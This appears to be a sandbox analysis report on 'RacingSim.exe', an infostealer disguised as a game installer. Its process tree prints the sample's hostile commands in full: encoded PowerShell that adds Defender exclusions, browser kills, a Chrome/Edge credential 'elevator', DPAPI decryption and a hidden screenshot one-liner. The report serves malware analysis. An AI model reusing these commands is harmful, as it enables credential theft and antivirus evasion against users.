Overview

overview

10

Static

static

10

RacingSim.exe

windows10-2004-x64

8

RacingSim.exe

windows11-ltsc_2024-x64

8

$PLUGINSDI...er.dll

windows10-2004-x64

3

$PLUGINSDI...er.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...ls.dll

windows10-2004-x64

3

$PLUGINSDI...ls.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...em.dll

windows10-2004-x64

3

$PLUGINSDI...em.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...ll.dll

windows10-2004-x64

3

$PLUGINSDI...ll.dll

windows11-ltsc_2024-x64

3

resources/...e3.dll

windows10-2004-x64

1

resources/...e3.dll

windows11-ltsc_2024-x64

1

resources/...opy.js

windows10-2004-x64

3

resources/...opy.js

windows11-ltsc_2024-x64

3

resources/...oad.sh

ubuntu-18.04-amd64

7

resources/...oad.sh

debian-9-armhf

4

resources/...oad.sh

debian-9-mips

resources/...oad.sh

debian-9-mipsel

resources/...ase.js

windows10-2004-x64

3

resources/...ase.js

windows11-ltsc_2024-x64

3

resources/...dex.js

windows10-2004-x64

3

resources/...dex.js

windows11-ltsc_2024-x64

3

resources/...ate.js

windows10-2004-x64

3

resources/...ate.js

windows11-ltsc_2024-x64

3

resources/...kup.js

windows10-2004-x64

3

resources/...kup.js

windows11-ltsc_2024-x64

3

resources/...ion.js

windows10-2004-x64

3

resources/...ion.js

windows11-ltsc_2024-x64

3

resources/...ect.js

windows10-2004-x64

3

resources/...ect.js

windows11-ltsc_2024-x64

3

resources/...gma.js

windows10-2004-x64

3

resources/...gma.js

windows11-ltsc_2024-x64

3

Analysis

  • max time kernel
    60s
  • max time network
    68s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 13:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    RacingSim.exe
  • Size 93.8MB
  • Sample260809-qfpvxsyapb
  • SHA256 ad6689833d20d7ed52f6d5de3a5832ef7f873fda9f6ba80e65a0b2e593680c52
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionspywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 14 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Kills process with taskkill 7 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RacingSim.exe
    "C:\Users\Admin\AppData\Local\Temp\RacingSim.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:236
    • C:\Program Files\GameSetup\GameSetup.exe
      "C:\Program Files\GameSetup\GameSetup.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:3768
      • C:\Program Files\GameSetup\GameSetup.exe
        "C:\Program Files\GameSetup\GameSetup.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --gpu-preferences=UAAAAAAAAADgAQAMAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=disabled --field-trial-handle=1748,i,14039303805849819287,3538133200531556530,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1740 /prefetch:2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:6100
      • C:\Program Files\GameSetup\GameSetup.exe
        "C:\Program Files\GameSetup\GameSetup.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --field-trial-handle=2092,i,14039303805849819287,3538133200531556530,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2088 /prefetch:11
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:5844
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBhAG0AZQBTAGUAdAB1AHAAXABHAGEAbQBlAFMAZQB0AHUAcAAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwA7ACQAcAAuAFMAcABsAGkAdAAoACcALAAnACkALgBGAG8AcgBFAGEAYwBoACgAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABfACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfQApAA=="
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4768
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBhAG0AZQBTAGUAdAB1AHAAXABHAGEAbQBlAFMAZQB0AHUAcAAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwA7ACQAcAAuAFMAcABsAGkAdAAoACcALAAnACkALgBGAG8AcgBFAGEAYwBoACgAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABfACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfQApAA==
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2564
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM chrome.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4880
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM msedge.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1568
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM brave.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3120
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM opera.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3840
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM vivaldi.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1444
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM operagx.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1332
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM opera_crashreporter.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2896
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbABlAHYAXwAxADcAOAA2ADIAOAAxADQANgA3ADMANQAyACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAGwAZQB2AF8AMQA3ADgANgAyADgAMQA0ADYANwAzADUAMgBcAEMAaAByAG8AbQBlAEUAbABlAHYAYQB0AG8AcgAuAGUAeABlACcAOwAkAHAALgBTAHAAbABpAHQAKAAnACwAJwApAC4ARgBvAHIARQBhAGMAaAAoAHsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAXwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AKQA="
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2296
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABwAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbABlAHYAXwAxADcAOAA2ADIAOAAxADQANgA3ADMANQAyACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAGwAZQB2AF8AMQA3ADgANgAyADgAMQA0ADYANwAzADUAMgBcAEMAaAByAG8AbQBlAEUAbABlAHYAYQB0AG8AcgAuAGUAeABlACcAOwAkAHAALgBTAHAAbABpAHQAKAAnACwAJwApAC4ARgBvAHIARQBhAGMAaAAoAHsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAXwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AKQA=
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1940
      • C:\Users\Admin\AppData\Local\Temp\elev_1786281467352\ChromeElevator.exe
        C:\Users\Admin\AppData\Local\Temp\elev_1786281467352\ChromeElevator.exe chrome -o C:\Users\Admin\AppData\Local\Temp\elev_out_1786281467347
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:5004
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe"
          4⤵
            PID:904
        • C:\Users\Admin\AppData\Local\Temp\elev_1786281467352\ChromeElevator.exe
          C:\Users\Admin\AppData\Local\Temp\elev_1786281467352\ChromeElevator.exe edge -o C:\Users\Admin\AppData\Local\Temp\elev_out_1786281467347
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2524
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
            4⤵
              PID:2360
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_65f5b0da.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANDg1XV5tYOMx7OSjGTn/6w5HOHjn4bs/3N2vgZCKoAWAAAAAA6AAAAAAgAAIAAAAEwLrjsI9zjyC5a1DME2Yklk5Zd1ItYsQfbt9JYd9dD/MAAAAHw+Q2165ky8A0qtQ5eP6r6H1BMvQMvmpXsYndaOLt3IsDPml/xOpTFXvTOBOVAB10AAAAB0WX1REg1TAdm3H44prPf5gjw221rDN/smAUts/KMJO6Vo4ImtBYL0H+dzio055e8KE0+H0GWzu/+kEtaeaSMj""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1628
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_65f5b0da.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANDg1XV5tYOMx7OSjGTn/6w5HOHjn4bs/3N2vgZCKoAWAAAAAA6AAAAAAgAAIAAAAEwLrjsI9zjyC5a1DME2Yklk5Zd1ItYsQfbt9JYd9dD/MAAAAHw+Q2165ky8A0qtQ5eP6r6H1BMvQMvmpXsYndaOLt3IsDPml/xOpTFXvTOBOVAB10AAAAB0WX1REg1TAdm3H44prPf5gjw221rDN/smAUts/KMJO6Vo4ImtBYL0H+dzio055e8KE0+H0GWzu/+kEtaeaSMj"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4596
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_65f5b0da.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAXLeKitezNoa7q3oBqOdnJyX/1hJt1tHScZl4rwoiNWcAAAAADoAAAAACAAAgAAAAiU91jlXHcflC4N6waa3T87hlgY9v0i5hMe5Dt05uNPcwAAAAlC/6faqUmw2IomTkEtyoMxHznx8C6m9VF9LdZBHH1NUru1z9yABZWIjzUjXK9B5sQAAAAPvYtWdvsT76tZ8GdWcJ8G74cmCE1J4qWD5tnKjpRWpfzQppT/cNk/rfBhbDfUHAO5XbEW6k1ExUzkmwDrSraeg=""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4296
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_65f5b0da.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAXLeKitezNoa7q3oBqOdnJyX/1hJt1tHScZl4rwoiNWcAAAAADoAAAAACAAAgAAAAiU91jlXHcflC4N6waa3T87hlgY9v0i5hMe5Dt05uNPcwAAAAlC/6faqUmw2IomTkEtyoMxHznx8C6m9VF9LdZBHH1NUru1z9yABZWIjzUjXK9B5sQAAAAPvYtWdvsT76tZ8GdWcJ8G74cmCE1J4qWD5tnKjpRWpfzQppT/cNk/rfBhbDfUHAO5XbEW6k1ExUzkmwDrSraeg="
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4876
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:248
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name /value
              4⤵
              • Detects videocard installed
              • Suspicious behavior: EnumeratesProcesses
              PID:996
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:972
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3220
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4680
            • C:\Windows\System32\Conhost.exe
              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              4⤵
                PID:4596
              • C:\Windows\system32\reg.exe
                reg query "HKCU\Software\Valve\Steam" /v SteamPath
                4⤵
                  PID:4392
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:4312
            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
              1⤵
                PID:4504

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 903ff019208a2abafba142c5ef9296323f2b0551229939ba3ba8c221263402ca
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 26f01740bd492a934ad20c9904ac50c8bcf30f1513669ff83ae95a8474937506
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 718547370fc700c0a24e2dc5eae9a78efd7334bfa85813e9cfeb81ea2aef6446
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 a65653f127699a70ba4af92d6a5181102f6f51e516893b823c68a2978dceb465
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    boot_main.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_main.txt
                    • Size 3KB
                    • SHA256 ab1edc1d54aaec91950c5b19de332350312cf7e67da999a5bcf6252babd2f543
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    boot_main.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_main.txt
                    • Size 4KB
                    • SHA256 f80fdb3006834ad87b8754e46f2060cd9371e245ea824365d0642ef696a36987
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    boot_main.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_main.txt
                    • Size 550B
                    • SHA256 f596f495f138248f5e99480a4cdac61ba6caa2aab2617cd4f2c7f50cc6d22ca2
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    boot_main.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_main.txt
                    • Size 1KB
                    • SHA256 46eee7aeee079b86ecc61665f3ec9c78371a5f6ac4b7250b3d58189495406060
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    boot_main.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_main.txt
                    • Size 2KB
                    • SHA256 9fb219364c216151d38eef0d72dafda26f39f2c825169ac1e15d70f83e0004c3
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    boot_modules.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_modules.txt
                    • Size 344B
                    • SHA256 7d5aeda7df24ab085c4384cc3b8838c51f68ed2669151042cce7b258308cfcb2
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    boot_runtime.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_runtime.txt
                    • Size 1KB
                    • SHA256 85cc5cbad0ea345c8f378366856a8189f3291795704f239ea31a396fa23ad8d2
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    boot_runtime.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_runtime.txt
                    • Size 2KB
                    • SHA256 cd3ca078c546732579a4bd6998b5b2e5e9814edc1f51d6fe97ba398bb67e5a26
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    boot_runtime.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_runtime.txt
                    • Size 1KB
                    • SHA256 b1ae98a851750e26fc8fe1a7dac58645daf448f8b6464e06baadd418f665573a
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    __PSScriptPolicyTest_2iajqfcn.kut.ps1
                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2iajqfcn.kut.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    ChromeElevator.exe
                    • Path C:\Users\Admin\AppData\Local\Temp\elev_1786281467352\ChromeElevator.exe
                    • Size 1.4MB
                    • SHA256 e857298fd2f8d1c7d48780769433f33e7b3ceaae5ea5a74c13ce8c10bcc7b690
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    extra_exe_debug.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\extra_exe_debug.txt
                    • Size 495B
                    • SHA256 9e43017cfdf7a5a26c20fd40a6e8770a588755a2709065f128534d14f3ef6277
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    extra_exe_debug.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\extra_exe_debug.txt
                    • Size 1KB
                    • SHA256 75d840406a72842cff8a5d074cff246d22282c00ffd4790d3782e6bca3b42a12
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    extra_exe_debug.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\extra_exe_debug.txt
                    • Size 3KB
                    • SHA256 3db7a0902a174d7495538d22782115e8f9a3566774e5c8f8de8784a8c7896fd7
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    extra_exe_debug.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\extra_exe_debug.txt
                    • Size 4KB
                    • SHA256 1a49148079a910ebb9c1b87fa7092dc0059d58233a2cefa9b0ad6b95f27810b3
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    LICENSE.electron.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\LICENSE.electron.txt
                    • Size 1KB
                    • SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    LICENSES.chromium.html
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\LICENSES.chromium.html
                    • Size 9.0MB
                    • SHA256 4bf4dd1a05ecba975c90d85117dea74b0e94114f882bb26a7e7d1029afe8fda8
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    chrome_100_percent.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\chrome_100_percent.pak
                    • Size 147KB
                    • SHA256 14a6a393c60f62df9bc1036e98346cd557e0ae73e8c7552d163fa64da77804d7
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    chrome_200_percent.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\chrome_200_percent.pak
                    • Size 222KB
                    • SHA256 20c93f2cfd69f3249cdfd46f317b37a9432ecc0de73323d24ecf65ce0f3c1bb6
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    d3dcompiler_47.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\d3dcompiler_47.dll
                    • Size 4.7MB
                    • SHA256 af7b99be1b8770c0e4d18e43b04e81d11bdeb667fa6b07ade7a88f4c5676bf9a
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ffmpeg.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\ffmpeg.dll
                    • Size 2.8MB
                    • SHA256 34e3ef3a3ed2df4e0a4a813bbb37346b01e48df1a214dbd0dc1eb90d3e81e258
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    icudtl.dat
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\icudtl.dat
                    • Size 10.0MB
                    • SHA256 9ae98c06cbb0ea43c5cd6b5725310c008c65e46072421a1118cb88e1de9a8b92
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    libEGL.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\libEGL.dll
                    • Size 473KB
                    • SHA256 6e45cab21be31b359ad969d777731943791917bd4bf309178e4965047f321a94
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    libGLESv2.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\libGLESv2.dll
                    • Size 8.0MB
                    • SHA256 90a1a55d9c62ce328c803b25e6618ebeee16ef1167d269b69e4adee85ef0c0fb
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    af.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\af.pak
                    • Size 509KB
                    • SHA256 5bd93621de82965b8a7d425660d4afef8102d058e48e8b42e0a45ea2b32ab2fb
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    am.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nst5952.tmp\7z-out\locales\am.pak
                    • Size 822KB
                    • SHA256 d759c21b9569163629f2443e69f274ffdb3b1417eaa2b72d1dacc9a31819dbf3
                    • MD5 SHA1 SHA512 SSDEEP TLSH
